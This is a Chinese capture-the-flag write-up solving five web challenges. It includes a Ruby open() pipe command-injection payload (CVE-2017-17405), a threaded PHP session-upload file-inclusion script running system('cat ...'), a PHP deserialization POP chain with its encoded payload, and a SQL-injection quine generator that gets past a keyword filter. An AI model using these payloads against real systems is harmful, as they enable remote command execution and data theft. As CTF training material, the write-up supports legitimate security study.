PNG图片转换器

附件下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
require 'sinatra'
require 'digest'
require 'base64'

get '/' do
open("./view/index.html", 'r').read()
end

get '/upload' do
open("./view/upload.html", 'r').read()
end

post '/upload' do
unless params[:file] && params[:file][:tempfile] && params[:file][:filename] && params[:file][:filename].split('.')[-1] == 'png'
return "<script>alert('error');location.href='/upload';</script>"
end
begin
filename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png'
open(filename, 'wb') { |f|
f.write open(params[:file][:tempfile],'r').read()
}
"Upload success, file stored at #{filename}"
rescue
'something wrong'
end

end

get '/convert' do
open("./view/convert.html", 'r').read()
end

post '/convert' do
begin
unless params['file']
return "<script>alert('error');location.href='/convert';</script>"
end

file = params['file']
unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/
return "<script>alert('dont hack me');</script>"
end
res = open(file, 'r').read()
headers 'Content-Type' => "text/html; charset=utf-8"
"var img = document.createElement(\"img\");\nimg.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";\n"
rescue
'something wrong'
end
end

这里利用的点是CVE-2017-17405

如果传递给 open 函数的文件名参数是以“|”开头,Ruby 会打开一个管道句柄并执行后面的命令。

我们创建一个rb文件测试,内容如下

1
2
f = open("|whoami")
puts f.read

然后运行

成功执行了命令,看这道题的关键代码,在/convert路由处可以利用,不过限制了../,并且需要png结尾,不过我们可以通过系统变量构造出来

1
2
执行ls /
file=|ls `echo ${PWD}|cut -c 1`>dotast.png


然后再读取dotast.png

base64解码后得到文件名:FLA9_VixNxtSRFfd8IoFlnNvv,然后就是读取这个文件

1
file=|cat `echo ${PWD}|cut -c 1`FLA9_VixNxtSRFfd8IoFlnNvv>dotast.png

再访问一次file=dotast.png,base64解码后得到flag

EasyCleanup

session文件包含,之前ctfshow做过的题,直接跑脚本就好*

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/20 23:51
# blog: www.wlhhlc.top
import io
import requests
import threading
url = 'http://114.115.134.72:32770/'

def write(session):
data = {
'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag_is_here_not_are_but_you_find");?>dotasts'
}
while True:
f = io.BytesIO(b'a' * 1024 * 10)
response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('dota.txt', f)})
def read(session):
while True:
response = session.get(url+'?file=/tmp/sess_flag')
if 'dotasts' in response.text:
print(response.text)
break
else:
print('retry')

if __name__ == '__main__':
session = requests.session()
write = threading.Thread(target=write, args=(session,))
write.daemon = True
write.start()
read(session)

WebFTP

github上有源码:https://github.com/wifeat/WebFTP
/Readme/mytz.php中可以执行phpinfo函数
执行后phpinfo有flag

pklovecloud

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php  
include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}

class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}

class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>

一个个看,首先pkshow类排除,没有用,但是acp类会调用pkshowecho_name()方法,观察到ace类也有一个echo_name()方法,所以我们需要改成调用ace类的echo_name()方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}

ace类中,会反序列docker中的内容,然后传给openstack,并且给成员变量$neutron赋值一个未知数,然后需要类中的neutronnova强相等才会进入if里面,这里我们可以用变量引用的方式去使其永远相等,思路都懂了,构造pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct($cinder)
{
$this -> cinder = $cinder;
$this -> neutron = &$this -> nova;
}
}

class ace
{
public $filename = "flag.php";
public $openstack;
public $docker;
function __construct($docker)
{
$this -> docker = $docker;
}
}

echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

然后传参

1
pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D

右键源码查看flag

yet_another_mysql_injection

http://114.115.143.25:32770/?source 可以查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
 <?php
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {
$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes("something wrong",'index.php');
}
if ($row['password'] === $password) {
die($FLAG);
} else {
alertMes("wrong password",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

很显然需要我们输入的passwors和数据库中的强相等才行,搜了一下资料,Quine可以编写一个返回自身的sql查询
参考链接:https://www.shysecurity.com/post/20140705-SQLi-Quine
使用脚本编写payload

1
2
3
4
5
6
7
8
9
10
11
12
13
#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/9/18 11:25
# blog: www.wlhhlc.top
def quine(data, debug=True):
if debug: print(data)
data = data.replace('@@',"REPLACE(REPLACE(@@,CHAR(34),CHAR(39)),CHAR(64),@@)")
blob = data.replace('@@','"@"').replace("'",'"')
data = data.replace('@@',"'"+blob+"'")
if debug: print(data)
return data

result = quine("'UNION/**/SELECT/**/@@/**/AS/**/atao#")

运行后得到

1
'UNION/**/SELECT/**/REPLACE(REPLACE('"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#',CHAR(34),CHAR(39)),CHAR(64),'"UNION/**/SELECT/**/REPLACE(REPLACE("@",CHAR(34),CHAR(39)),CHAR(64),"@")/**/AS/**/atao#')/**/AS/**/atao#